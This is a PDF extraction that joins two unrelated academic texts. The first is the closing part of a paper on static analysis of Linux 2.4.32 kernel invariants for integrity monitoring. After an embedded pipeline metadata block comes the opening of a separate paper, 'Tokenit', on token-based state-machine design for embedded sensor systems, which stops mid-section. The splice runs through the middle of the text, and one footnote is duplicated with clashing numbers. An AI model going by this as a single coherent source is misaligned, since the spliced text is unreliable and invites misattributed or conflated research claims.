We implement an Invariant Monitor (in the form of a LKM) that periodically checks the 141,280 statically detected invariants in the memory of a Linux kernel 2.4.32 (the kernel that our static tool analyzed). The monitor loops over all the identified invariants and for each invariant variable, it compares the runtime value of the variable against its known-good value. The monitor emits a warning message if any comparison returns false. The list of invariants as well as their known-good values is derived by the static invariant analyzer presented in Section III.
One practical difficulty that our Invariant Monitor overcomes is the semantic gap between the monitor as a LKM and the rest of the kernel – not all global variables are exposed to the monitor as symbols. For example, msg_ctlmax is an unresolved symbol when we try to load the monitor. For this reason and for better portability (e.g., running the monitor from a hypervisor in the future), our monitor refers to the invariants by their runtime addresses rather than symbolic names. However, our static invariant analyzer reports invariants by names. Therefore, we need to bridge the gap between names and runtime addresses. To solve this problem, we use the information contained in the System.map file, a standard file generated during the kernel compilation process, which contains a mapping from kernel variable names to their runtime addresses.
A related difficulty brought by the semantic gap is the lack of offset information when our monitor makes fine-grain memory accesses to individual fields of structure variables or array elements, because System.map only provides the starting address of a structure or array variable but our monitor needs to look inside it. One naïve approach is to manually count the byte offset into a block of memory based on the type information, but this is not a scalable approach because our monitor needs to read hundreds of thousands of global variables (Table II). Instead, we leverage the power of static analysis to automatically generate code for the monitor. Specifically, the static analyzer generates code that declares pointer variables of the appropriate type, uses pointer dereferencing expressions to represent fine-grain memory accesses, and lets the compiler find out the correct offset information. For example, the static analyzer generates the code snippet in Fig. 4 for the invariant timedia_data[3].num where timedia_data is an array whose elements are of type struct timedia struct that has a field named num. Here 0xc0272420 is the runtime address of the timedia_data array. Note that the known-good value 8 that is compared in the if statement is automatically supplied during the code generation because it is available to the static invariant analyzer by the time of code generation (i.e., in the legal value list).
2) Evaluation of false positives
To estimate the false positive rate of our invariant analyzer, we run the test programs in Table I while our Invariant Monitor is running in the background. The goal is to find whether the test programs can trigger legitimate updates to any global variable that our invariant analyzer believes to be invariant. If that’s the case, our Invariant Monitor should generate warnings. While the non-existence of such warnings cannot be used as a proof that our invariants are all real, existence of such warnings does show that some of our invariants are false. In order to maximize the detection probability of false invariants, we choose the set of test programs in Table I that to our knowledge exercise all important subsystems of the kernel.
We ran these test programs after the kernel (version 2.4.32) was fully booted and our Invariant Monitor module was loaded. During the long time execution of the test programs, our checker reported warning messages about only one variable, which we categorize as a false positive by our invariant analyzer in the last row of Table III. This variable is ipv4_devconf_dfilt_rp_filter. We carry out a manual investigation to understand why our invariant analyzer does not recognize legal assignments to this variable, and we find that our invariant analyzer misses it mainly due to a very subtle pointer arithmetic operation by the Linux kernel. We believe that this false positive can be eliminated by modifying our static analyzer. Overall, we are happy to see that our invariant analyzer has almost no false positives (1 out of 141,280 invariants monitored).
### TABLE IV. EXAMPLES OF NON-INVARIANTS
<table>
<thead>
<tr>
<th>Category</th>
<th>Example variables</th>
</tr>
</thead>
<tbody>
<tr>
<td>List heads</td>
<td>acpi_bus_drivers.next, arp_bbl_uc_timer.list.next, console_callback_tq.list.next, random_read_wait_task_list.next, tcp_tw_timer.list.next</td>
</tr>
<tr>
<td>Locks</td>
<td>context_task_qw_lock.lock, dev_base_lock.lock, exec_domains_lock.lock, floppy_usage_lock.lock, hash_table_lock.lock</td>
</tr>
<tr>
<td>Auditing info</td>
<td>kernel_module.archdata_end, kernel_module.archdata_start, kernel_module.ex_table_end, kernel_module.kallsyms_end, kernel_module.kallsyms_start</td>
</tr>
<tr>
<td>Accounting info</td>
<td>console_sem.count.counter, con_buf_sem.count.counter, dev_probe_sem.count.counter, init_fs.count.counter, init_mmm_mmm_user_counter</td>
</tr>
<tr>
<td>Resource mgmt</td>
<td>contig_page_data.node_zonelists[0].zones[0], contig_page_data.node_zones[0].free_area[0].map, contig_page_data.node_zones[0].nr_cache_pages, contig_page_data.node_zones[0].nr_inactive_pages, contig_page_data.node_zones[0].nr_active_pages</td>
</tr>
<tr>
<td>Configuration data</td>
<td>FDC2.FLOPPY_DMA.FLOPPY_IRQ, can.use_virtual_dma.fifo_depth</td>
</tr>
<tr>
<td>Driver-specific data</td>
<td>eth0_dev.allmulti, eth0_dev.dev_addr[0], eth0_dev.queue_len, eth1_dev.change_mtu, eth1_base_addr, eth1.broadcast[0]</td>
</tr>
</tbody>
</table>
Invariants detection
The Daikon invariant detector [13] generates likely invariants using program execution traces collected during sample runs. Daikon is a dynamic invariant detector, and its idea has been incorporated into Gibraltar [7] and ReDAS [18].
Integrity measurement mechanisms
There has been a long line of research on integrity measurement. Approaches such as IMA [25] use hashing or digital signatures to measure the software at load time. Recently, ReDAS [18] and DynIMA [12] advance the state of the art by supporting software integrity measurement at runtime. Other related work includes [14, 20, 22, 23, 24, and 32]. These approaches generally focus on the mechanism for measurement, but not the integrity properties.
Copilot [22] is a co-processor based integrity checker for the Linux kernel. The properties that Copilot prototype checked were kernel code, module code, and jump tables of kernel function pointers. Although Copilot later provided a specification language [23], its focus was not on deriving integrity properties. We work out the properties from analyzing the target software itself.
Livewire [14] leverages a VMM (a modified version of VMware workstation) to implement a host-based intrusion detection system. It can inspect and monitor the states of a guest OS for detecting intrusions, and interposes on certain events, such as interrupts and updates to device and memory state. Like Copilot, Livewire does not focus on the identification of integrity properties but only checks known properties.
LKIM [20] produces detailed records of the states of security relevant structures within the Linux kernel using the concept of contextual inspection. However, the identification of security relevant structures relies on domain knowledge.
Specialized integrity property measurement
Some specialized integrity properties have been measured, such as control flow integrity [4] and Information flow integrity [17]. CFI [4] checks if the control transfer from one function to the next is consistent with a pre-computed control flow graph, so we can think of it as checking a sequence property of the target software. PRIMA [17] checks the integrity of a system by reasoning about information flows. But it assumes that there is no direct memory modification attack, e.g., information flows are triggered by well-defined interfaces (function calls or file reads).
Rootkits detection and recovery
As we mentioned, there has been a lot of research on rootkits. A nice survey of rootkits and detection software is given in [22]. From [1] you can also find a list of popular rootkits. The integrity measurement mechanisms (such as [14, 22, 23, 24, and 32]) mentioned above all can be used for rootkit detection. Some work such as [15] and [19] attempts to detect rootkits and recover the software from known-good copies.
Trusted computing
The Trusted Computing Group [28] has proposed several standards for measuring the integrity of a software system and storing the result in a TPM (Trusted Platform Module) [29] whose state cannot be corrupted by a potentially malicious host system. Industry vendors such as Intel have embedded TPM in their hardware. Such standards and technologies have provided the root of trust for secure booting [6], and enabled remote
attestation [26]. There has been a consistent effort in building a small Trusted Computing Base (with hardware support such as TPM and application level technique such as AppCore [27]). A small Trusted Computing Base facilitates integrity analysis and monitoring.
VI. CONCLUSION
In this paper, we have studied the application of static source code analysis to derive integrity properties of an operating system kernel. We design and implement automated tools that can derive global invariants out of the target kernel without running it.
To evaluate our methodology, we apply our tools to the Linux kernel 2.4.32 and identify 141,279 global invariants that are critical to Linux’s runtime integrity. Furthermore, we compare the invariant list generated by our static analyzer with the one generated by a dynamic invariant analyzer, and find a large number of variables that can cause false alarms for the dynamic analyzer. Our experience suggests that static analysis is a viable option for automated integrity property derivation, and it can potentially have very low false positive and false negative rates.
REFERENCES
[34] http://users.cis.fiu.edu/~weijp/Jinpeng_Homepage_files/report.xml (It is a huge file. Please open it with a text editor instead of the browser).
|
{"Source-Url": "https://webpages.uncc.edu/jwei8/Jinpeng_Homepage_files/gimsa-static-analysis-camera.pdf", "len_cl100k_base": 10530, "olmocr-version": "0.1.53", "pdf-total-pages": 10, "total-fallback-pages": 0, "total-input-tokens": 34124, "total-output-tokens": 12922, "length": "2e13", "weborganizer": {"__label__adult": 0.0003974437713623047, "__label__art_design": 0.0003044605255126953, "__label__crime_law": 0.0007343292236328125, "__label__education_jobs": 0.0004699230194091797, "__label__entertainment": 6.574392318725586e-05, "__label__fashion_beauty": 0.00016760826110839844, "__label__finance_business": 0.000202178955078125, "__label__food_dining": 0.0003085136413574219, "__label__games": 0.000804901123046875, "__label__hardware": 0.001946449279785156, "__label__health": 0.0005850791931152344, "__label__history": 0.0002435445785522461, "__label__home_hobbies": 0.0001042485237121582, "__label__industrial": 0.0004754066467285156, "__label__literature": 0.00024235248565673828, "__label__politics": 0.0003094673156738281, "__label__religion": 0.0004372596740722656, "__label__science_tech": 0.0631103515625, "__label__social_life": 8.666515350341797e-05, "__label__software": 0.01103973388671875, "__label__software_dev": 0.9169921875, "__label__sports_fitness": 0.00027489662170410156, "__label__transportation": 0.0005135536193847656, "__label__travel": 0.0001766681671142578}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 56825, 0.01556]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 56825, 0.51453]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 56825, 0.87884]], "google_gemma-3-12b-it_contains_pii": [[0, 4895, false], [4895, 11379, null], [11379, 17498, null], [17498, 24029, null], [24029, 30040, null], [30040, 35319, null], [35319, 40193, null], [40193, 46165, null], [46165, 49464, null], [49464, 56825, null]], "google_gemma-3-12b-it_is_public_document": [[0, 4895, true], [4895, 11379, null], [11379, 17498, null], [17498, 24029, null], [24029, 30040, null], [30040, 35319, null], [35319, 40193, null], [40193, 46165, null], [46165, 49464, null], [49464, 56825, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 56825, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 56825, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 56825, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 56825, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 56825, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 56825, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 56825, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 56825, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 56825, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 56825, null]], "pdf_page_numbers": [[0, 4895, 1], [4895, 11379, 2], [11379, 17498, 3], [17498, 24029, 4], [24029, 30040, 5], [30040, 35319, 6], [35319, 40193, 7], [40193, 46165, 8], [46165, 49464, 9], [49464, 56825, 10]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 56825, 0.08621]]}
|
olmocr_science_pdfs
|
2024-12-08
|
2024-12-08
|
7fe13dafa74f04f0b3f21949a0ba70d61bbeddb8
|
Tokenit: Designing State-driven Embedded Systems Through Tokenized Transitions
Amir Taherkordi†‡§, Christian Johansen†, Frank Eliassen†, and Kay Römer§
†Department of Informatics, University of Oslo, Norway
‡Institute for Technical Informatics, TU Graz, Austria
§R&D Department, Sonitir Technologies, Oslo, Norway
{amirhost,cristi,frank}@ifi.uio.no roemer@tugraz.at amir@sonitir.com
Abstract—The development of resource-constrained embedded systems that are naturally state-driven is still a challenging issue, especially in industrial applications—developed on a bare-bone style runtime system with basic programming features. This is because of the complexity of state-driven design in embedded applications, such as parallel and complicated event-based activity flows, and complicated constraints for transitioning between program states. State machines are considered a systematic approach for such needs. However, existing approaches, in this area, either do not satisfactorily address the above complexity aspects, or force the developer to write code intermingling state handling logic with the functional code. To tackle these issues, we propose TOKENIT, a state machine-based development framework for resource-constrained embedded systems. Using TOKENIT, the programmer models the application as a set of parallel processes, where each process consists of sequenced activities with state constraints such as delayed transitions or interdependency between the states of parallel processes. TOKENIT, then, processes the obtained model and associates a token to each sequential flow of activities, synthesizing them and executing state transitions according to the constraints expressed in the TOKENIT model. The evaluation results show that TOKENIT reduces significantly the complexity of state-driven programming in embedded systems at an acceptable memory cost and with no extra processing overhead.
I. INTRODUCTION
Programmers are being offered more and more mature programming models that fit better to the requirements of resource-constrained embedded systems [1], [2], [3], [4]. However, development of today’s embedded applications is still a challenging issue due to the sophisticated state-driven logic they introduce, such as in reliable data transport services [5] and WSN-based tracking applications [6], [7]. Moreover, a common practice in industry is to realize WSN applications with a flat software architecture in which network and application functions are implemented at the same level over a Hardware Abstraction Layer (HAL) [8], using native programming languages such as C. This gives full control over the different parts of the system from configuring and optimizing low-level radio system to implementing high-level application code. However, such applications often contain complex state-driven processes, making the programs over HAL complicated and difficult to implement, read and verify, as witnessed in, e.g., the real-time patient tracking application Sonitor Sense [9].
In addressing this challenge, a careful consideration should be given to the flow of control and operations with complex event-driven interactions and consequent state changes [10], [11]. State machines are natural for describing reactive processing and control-oriented embedded systems. However, a resource-efficient state machine design may need to intertwine the functional code with state handling code, making it difficult to trace, implement and maintain states and the associated constraints (e.g., transitions). Research efforts have been made to address this by introducing activities as a function of both the event and the program state, like in the Object State Model (OSM) [10], based on StateCharts and Esterel [12], [13].
While existing solutions address this concern with new state-based programming abstractions, they do not satisfactorily address some important complexity and design concerns. First, they come with a high degree of complexity in state-driven programming, caused by, e.g., parallelism, and conditional and event-based transitions. In the case of parallelism, embedded applications typically involve parallel execution of chains of activities: from dealing with various network-level interaction logics (e.g., data dissemination) to processing repetitive activities and system events (e.g., timing and sensor events). Second, most state machine-based development approaches for WSNs have led to completely new programming abstractions [10] with additional memory, processing and learning overhead. This is caused by the need to close the semantic gap between the definition of state machines and event-driven programming models in WSNs [2], [1]. Third, existing work does not exploit the meta information that can be provided by state machines, e.g., to observe the behaviour of an activity or an activity flow and verify the system functionality.
To tackle these concerns, we propose TOKENIT, a generic modeling and programming framework to ease state-driven programming in resource-constrained embedded systems. The modeling formalism, in TOKENIT, is based on finite state automata and incorporates timing notions and parallel execution from timed automata [14] and Harel’s StateCharts [12], respectively. Moreover, it introduces complementary notions and concepts (e.g., repetition and variable sharing) to meet the specific modeling requirements of embedded systems. Then, we enhance TOKENIT with a novel programming approach to reduce the complexity of state-driven programming, based on the notion of tokens. Unlike in traditional token-based approaches1, in this work, a token is an entity with a set of pre-defined attributes and behaviours, associated to an activity flow (i.e., a transition path). A token synthesizes the activities of a path and implements state semantics of the path such as conditions, variable sharing, and events (e.g., timer events). Moreover, associating one token to one path allows better handling of parallelism in concurrent activity flows.
TOKENIT offers a model processor to generate token-based state handling code and embed it into the actual application code (i.e., activities). Our programming abstraction allows more flexibility in state-driven programming and avoids intermingling state handling code with the functional code. TOKENIT features a runtime system to host and monitor activity flows. The latter refers to token instrumentation for observing or verifying activity flows, e.g., the timing overhead of a packet processing activity flow. The runtime system can be hosted by typical event-driven operating systems and allows many concurrent activities to be serviced on a single stack. Our evaluation shows that TOKENIT reduces efficiently the programming complexity and offers significantly reduced programming effort compared to existing approaches (about 40% less lines of code and 16% reduction of Cyclomatic complexity [15] for implementing the Deluge protocol), with virtually no processing overhead and acceptable memory cost (e.g., 11% for implementing Deluge).
1It should be noted that token in our terminology is different from tokens in Petri nets. In Petri nets, tokens are usually atomic (or carry simple information like types) and are used to define and change the state of a Petri net.
The rest of the paper is organized as follows. In Section II, we present two use case scenarios motivating our approach. Section III introduces the modeling principles of TOKENIT, while the token-based design approach is presented in Section IV. Implementation details and evaluation results are discussed in Sections V and VI, respectively. We present related work in Section VII and conclude in Section VIII.
II. MOTIVATING USE CASES
In this section, we study two use cases (application-level and service-level) to motivate the need for a state-driven approach addressing the discussed design concerns.
Application-level Use Case. Tracking applications require dealing with various states of sensor nodes (e.g., moving, stationary, and location data propagation) over time. Real-time patient tracking is one example in this domain which is often designed in a state-driven manner. The simplified example we describe in this section is taken from the considerable field experience acquired in [9]. This industrial application is described as a set of parallel processes over a HAL, where each process is labelled with a state and contains a set of sequenced activities with eventing constraints. Figure 1 depicts the main processes involved in the tracking scenario, including initialization, body temperature monitoring and reporting (P1), motion processing (P2), and listening to gateway units (P3). All these activity flows should be maintained in parallel and they may depend on the status of each other under some circumstances—a non-trivial programming task. For instance, P2 has to carefully schedule the sending, listening with different time delays (d2, d3) and resending activities (d4) for energy saving reasons. At the same time, P3 may interfere with other processes to update configuration parameters such as frequency for reading temperature (d5) or adjusting listening windows.

Service-level Use Case. A typical network service for WSNs is the dissemination of large data objects for different purposes such as updating sensor software. Deluge is perhaps the most popular protocol in this context—an epidemic protocol operating as a state machine where each node follows a set of local rules for quick and reliable dissemination of large data objects to many nodes over a multihop wireless network [16]. We focus on the state management aspect of Deluge in this paper, while its detailed description is available in [16]. Figure 2 demonstrates Deluge’s main activities and their relations in both the sender node and the receiver. Both of these nodes share a set of activities under the so-called Maintenance state to propagate the data object’s summary and profile after a time interval of d1, computed dynamically. In the sender, a parallel activity, called Transmit, receives data packet requests and transmits (after d7 ms) all requested packets for a given page every d2 ms. On the receiver side, the protocol should process the meta data (profile and summary) and data packets simultaneously, then proceed to sending page requests to the sender after a delay computed in each round (d3, d4, or d5). The SendRequest activity should also be repeated up to a threshold every d6 ms.
Common Design Challenges. Modeling the above scenarios needs a design approach that can abstract parallel activity flows, scheduling, delays, order of activities, conditional transitions, and events—a non-trivial design problem. For example, controlling and Listening in the first scenario include complex parallel processing of different activities and parametric delays for repeating an activity, respectively. Similarly, in the Deluge protocol, some activity transitions may take place in the middle of a running activity based on a condition (e.g., Transmit and SendRequest). Moreover, as seen in both use cases, delay on transitions is a central design element. This raises the need for a principled modeling and programming approach that can mitigate the complexity of developing such systems, while avoiding additional programming effort and high resource overhead. However, to the best of our knowledge, no existing state machine-based development approach has addressed these issues for applications on resource-constrained systems so far.
III. MODELING SCOPE: CONCEPTS AND EXTENSIONS
In this section, we describe the modeling scope of TOKENIT, including the relevant concepts adopted from state machines and the extensions proposed to meet the special requirements of embedded systems. The TOKENIT model is based on finite state automata [17], incorporating timing notions from timed automata [14], and parallel execution notions from alternating automata [18] and Harel’s StateCharts [12]. In TOKENIT, we use the term activity, in addition to state. An activity indicates the operation being performed within a state, e.g., the Listening activity in the patient tracking use case listens to incoming data traffic while the sensor node is in the listening state.
A key aspect of the TOKENIT model is events. In this work, we categorize events as: non-timer events and timer events. The former refers to asynchronous events corresponding to specific actions leading to state changes in an asynchronous way, e.g., motion events. In order to detect state changes made by asynchronous events, non-timing events in TOKENIT appear only on origin transitions into start activities, e.g., in Figure 1, a motion event triggers the MotionDetection activity. Start activities have the same meaning as start states in automata, called origin activities in this paper. The second type of events appears on transitions to capture delays. Timer events are the predominant event type for many WSN applications—central to the design of TOKENIT. The intuition for transition delays is that the transition must be taken after the specified delay, e.g., the transition $A_1 \xrightarrow{t} A_2$ occurs automatically after timeout $t$, triggering the execution of activity $A_2$.
Execution of an activity may need to retain a set of activity variables, with either local or global scopes. The former includes all values returned by an activity for the use in the next activity, while the latter is the set of variables globally accessible by all activities. A transition can be executed only if the condition is satisfied. Conditions can be seen as simple boolean combinations of tests on variables, or more complex expressions. The termination of an activity may trigger several new activities (maybe in parallel). For parallel executions, we adopt the notions from alternating automata called conjunctive transitions, i.e., a transition may have multiple target activities. However, each target activity may have different local variables, conditions, and delays. There is no non-deterministic choice in TOKENIT, however parallel transitions and conditions allow modeling conditional choices.
Definition 3.1: A TokenIT model \((\mathcal{A}, \mathcal{V}, \mathcal{C}, \delta, \mathcal{A}_0)\) consists of: \(\mathcal{A}\), a finite set of activities, \(\mathcal{V}\), a finite set of variables, \(\mathcal{C}\), a finite set of conditions, \(\delta: \mathcal{A} \rightarrow \mathcal{P}(\mathcal{C} \times \mathcal{D}^* \times \mathcal{P}(\mathcal{V}) \times \mathcal{A})\), the transition function, \(\mathcal{D}\) denotes duration,\(^2\), and \(\mathcal{A}_0 \subseteq \mathcal{A}\) the origin activities.
Transitions can be specified using the notation:
\[
A_{\text{control}} \in \mathcal{C} \rightarrow \text{Temp.} \rightarrow \{\text{false, true}\} \rightarrow A_{\text{readTemp}}
\]
where any of the conditions, delays, or set of variables can have various default values like true, 0, and \(\emptyset\) respectively. In the following, we do not display them on transitions to avoid cluttering the model. The transition \(\text{HandleRequest} \rightarrow (d_7, \text{Transmit})\) includes a delay, specifying that we need to wait for \(d_7\) ms before starting Transmit. In the above transition, the condition is true and there are no local variables.
Transitions represent a high-level execution flow of major software operations (i.e., activities). Parallel transitions enable parallel execution of activities when the function \(\delta\) returns more than one activity with satisfied conditions. In Figure 2, the transition \(\text{Maintain} \rightarrow \{d_2, \text{AdvSummary}\}\), \((d_2, \text{SendProfile})\) denotes that if the execution of \(\text{Maintain}\) terminates, two new activities should be activated simultaneously, but after a delay of \(d_2\). As an example of conditional transitions, in the Deluge protocol, advertising the summary is performed only if fewer than \(k\) advertisements have been received. Therefore, we need to identify the condition \(ad< k\) associated to the activation of \(\text{AdvSummary}\) which will test the variable \(ad\).
Moreover, the timing feature of TokenIT introduces the concept of parametric repetition. This allows the developer to abstract operations performed repetitively and maybe with different delay times in each stage of execution, e.g., the sensor node may make three consecutive attempts with different time windows to listen to an incoming packet. For this, the transition can be labeled with a sequence of delays \(T=[d_1, d_2, \ldots, d_n]\), where \(d_i\) denotes the waiting time for the execution of the activity, after the execution at time \(d_{i-1}\). In Figure 1, we have \(\text{A\hspace{0.02cm}listen} \rightarrow \{(d_2, d_3), \text{A\hspace{0.02cm}listen}\}\) so that we allow two listening windows of different time intervals.
IV. TokenIT Design
The main goal of TokenIT is to provide a design and programming framework that reduces the complexity of developing state-driven embedded applications in a resource-efficient manner. In particular, the design of TokenIT is aimed to address the specific concerns presented earlier in this paper. Moreover, the primary challenges for state machine-based design of tiny devices should be taken into account. These include the increased complexity of programs with nested conditions, the lack of global visibility of states and transitions in the code, and violating the formal semantics of state definition in the code for the sake of resource efficiency or the event-driven nature of programming models. Therefore, as a state-driven model for such systems, TokenIT should have acceptable resource overhead, adhere to the primitives of state-based programming, and avoid substantial restructuring of the programming abstraction when states come into the scenario.
A. Overview
A sensor application, in the context of this work, consists of a set of activities implemented by the programmer. Activities in our model intuitively refer to units of functionality, therefore not only including the state of the program, but also specifying an activity being performed in that state.
Figure 3 illustrates an overview of our approach. The TokenIT model of the target application is described by the programmer, including description of activity flows, transitions between activities, and constraints such as delays. The TokenIT Model Processor first processes the model description, then generates and embeds so-called housekeeping code (HOC)\(^1\) into each individual activity. This code basically links the activities of a flow based on the constraints defined by the programmer for each transition, e.g., a delayed or a conditional transition (An example of generated HOC is given in Subsection V-B). This is achieved by allocating a token object to each transition path, e.g., Token1 to \(A_1 \rightarrow A_2 \rightarrow A_4 \rightarrow A_4\). This object features a set of behaviors and properties to allow token-based state transitions in collaboration with HOC. In particular, HOC connects activities based on the transition constraints, while tokens are used to execute transition paths and respective constraints. Activities, including the generated HOC and tokens, reside on TokenIT Runtime, which is a container for model initialization, activity scheduling, state handling and monitoring activity flows. In the rest of this section, we discuss these concepts in detail.
B. Activity Flows Analysis
The key design element in our approach is to extract all parallel activity flows (i.e., transition paths) of the target application (e.g., \(P1, P2\) and \(P3\) in the patient tracking application) and associate a token to each one. This means that there is a one-to-one association between activity flows and generated tokens. Therefore, we first need to discuss how the activity flows are defined and extracted in TokenIT.
1) Transition Paths: Initially, we need to know all possible transition paths in the application as described by the model. A transition path can be initiated from two different origin activities: i) created by the application, e.g., main-like functions, and ii) triggered by the system, e.g., interrupt-like functions. For example, in the patient tracking use case, \(P1\) falls in the first category, while \(P2\) and \(P3\) are triggered by a system event. The TokenIT model proposes a directed call graph which is traversable by Model Processor and allows it to find all possible paths from the origin activities. Figure 4 depicts an abstract call graph with two origin activities. Based on this, the following transition paths can be extracted:
\[\text{Path1}: A_1 \rightarrow A_2 \rightarrow A_3 \rightarrow A_5 \rightarrow A_2\]
\[\text{Path2}: A_1 \rightarrow A_3 \rightarrow A_7 \rightarrow A_3\]
\[\text{Path3}: A_1 \rightarrow A_4 (\rightarrow A_4)\]
\[\text{Path4}: A_4 \rightarrow A_{10}\]
Fig. 3: Overview of TokenIT-based design and development
Fig. 4: Discovering all possible transition paths in a call graph
In the context of this paper, transition paths are acquired in a stepwise manner based on the number of incoming (\(\lambda_i\)) and outgoing transitions (\(\lambda_o\)) in each activity. For instance, the execution of \(A4\) will yield two possible transitions, while \(\lambda_o(A4) = 1\), resulting in new transition path \(A_4 \rightarrow A_{10}\). This technique is a natural way for discovering activity flows, and more importantly it avoids overlapping paths or cyclic paths. For example, Path4 is always defined as the one listed above, not \(A_1 \rightarrow A_4 \rightarrow A_4 \rightarrow A_{10}\). In the next subsection, we demonstrate how the TokenIT code generation framework finds the possible paths of a TokenIT model based on this technique and generates a token for each individual path.
\(^2\)We use the Kleene * notation to denote words over the time domain \(\mathcal{D}\), i.e., sequences of time values.
\(^1\)We use the Kleene * notation to denote words over the time domain \(\mathcal{D}\), i.e., sequences of time values.
2) **Token Generation:** Based on the concept of token, the key question is how are the tokens created and associated with the activities of transition paths? To reduce complexity and resource overhead, the ultimate goal is to create the minimal number of tokens maintaining the states of running activities. Intuitively, a transition path is the largest part of a model that can share a token. Therefore, the number of transition paths is an indication of the number of required tokens.
Algorithm 1 shows how Model Processor generates tokens from the directed graph description of the target TOKENIT model. The main idea behind the algorithm is to traverse the graph using the Depth First Search (DFS) algorithm and generate new tokens based on the value of \( \lambda_i \) and \( \lambda_o \) in each node of the graph. For each origin node in \( OV \), a new token is generated, e.g., \( A_1 \) and \( A_8 \) in Figure 4. If, in a node, the number of outgoing transitions is greater than the number of incoming transitions (i.e., \( \lambda_o > \lambda_i \)), we generate \( (\lambda_o - \lambda_i) \) new tokens (line 8). Otherwise, the current number of tokens is sufficient. As an example, in Figure 4 activity \( A_1 \) has one incoming transition and three outgoing transitions; two new tokens should therefore be generated. For the sample model in Figure 4, the algorithm generates five tokens, equal to the number of identified transition paths.

3) **Token Structure:** The primary goal for introducing the concept of token is to consolidate the state handling details, including the static information (e.g., activity attributes) and the dynamic behaviour (e.g., activity functions). Figure 5 shows a high-level description of the token structure, including attributes and behaviours.
The basic idea is to exploit the attributes carried by a token and dynamically manipulate their values at runtime in order to traverse transition paths according to the state logic defined in the TOKENIT model. When an activity is performed successfully, the associated token will be updated with attribute values that allow the TOKENIT runtime system to proceed to the invocation of next activity identified in the model. Initialization and updating of the attributes of a token are carried out by the generated HOC. delayToNext is the key attribute of a token, specifying the possible time delay before proceeding to the next activity. Additionally, the running activity can provide some input data to the next activity in the transition path through toNextActivity.
Tokens can also include dynamic behaviours that enhance the runtime system with better control of token-based execution flows. For instance, when we want to stop the execution process along a transition path (e.g., stopping radio data propagation when a packet is received), the stop function of the associated token should be called. Likewise, the execution of a token can be repeated in order to re-invoking the latest executed activity (e.g., \( A_4 \) in Figure 4). Finally, moveToNext is another type of token behaviour, allowing conditional transitions, discussed later in this section.
C. **Tokenized Transitions**
From the process execution viewpoint, the activities of a model can be concurrently active, either being processed or waiting to be processed. This section explores the design aspects of handling and scheduling transition paths by TOKENIT’s runtime system and discusses how tokens are exploited to maintain the execution of activities along the transition paths.
As mentioned in Section III, transitions in TOKENIT can come in two forms: non-delayed and delayed transitions. Let us consider the former and assume that no delayed transition appears in the given model. The main data structure that keeps record of the current tokens is a circular queue of size \( N \), where \( N \) denotes the total number of tokens required to traverse the transition paths. The main steps taken by Immediate Activity Scheduler (IAS) are as follows:
1) initialize tokens \( \{t_0, t_1, t_2, \ldots, t_N\} \) with default values;
2) initialize the waiting queue with \( t_0 \) at the head of queue;
3) dequeue \( t_i \) from \( Q \);
4) invoke the activity \( A_m \) assigned to \( t_i \);
5) enqueue all tokens \( \{t_k, t_j, \ldots\} \) outgoing from \( A_m \);
6) store the value of local variables \( \{v_0, v_1, v_2, \ldots, v_N\} \) in \( t_i \), which are required for the execution of the next activity along the transition path;
7) return to 3.
The main idea is to invoke, in each step, the activity assigned to a token and schedule the outgoing tokens for later execution based on some pre-defined temporal ordering strategy, e.g., FIFO. In step 5, the list of consequent tokens \( \{t_k, t_j, \ldots\} \) after the execution of \( A_m \) is provided by HOC and added to the activity code (cf. Section V-B). Figure 6 presents part of a TOKENIT model and the first four steps of token-based activity invocation. \( A_1 \) is the main function of the application with token \( t_0 \) pointing to this activity. When \( A_1 \) is executed successfully, \( t_0 \) will be removed from the waiting queue and the child tokens \( \{t_0, t_1, t_2\} \) are enqueued for execution and so on.

by the underlying operating system. In our implementation, we develop the transition handling runtime system over the Contiki operating system [20], thereby TOKENIT runtime exploits the ctimer module of Contiki.
1) Repetition and Termination: Repetition of a transition and termination of a transition path are two additional capabilities that should be supported as part of the behaviour of a token. Each token can include standard functions repeat and stop, whose implementations are token-specific and identify the actions that should be taken for repeating an activity or stopping a transition path. Whenever an activity has to be repeated (perhaps with some different parameters like delay time), the associated token can be called for repetition (by the generated HOC). Although repetition can be seen as a self-loop transition, we introduce this notion as it simplifies state handling by preserving the current state of a token and changing only transition-related attributes such as delay.
Figure 7 illustrates part of the TOKENIT model for the patient tracking application, reflecting both above concepts. The model includes two origins: the main application function (Conf&Init), and the second triggered whenever a movement event is detected or the node switches to the inactive mode (after movement). On the right hand side, another process is initiated for reporting the body temperature (if beyond a threshold) every \(d_1\) seconds. As shown, we need tokens \(t_0, t_1, t_2\) respectively to report temperature readings, repeat temperature checking, and handle the motion detection process and sending location-related data to the gateway. As a use case for transition termination, the process of packet sending and listening should be stopped whenever the motion sensor does not detect any movements (i.e., inactive mode). To do this, HOC should simply call the stop behaviour of \(t_2\), which in turn stops the execution of the current activity assigned to \(t_2\) (either Sending or Listening).
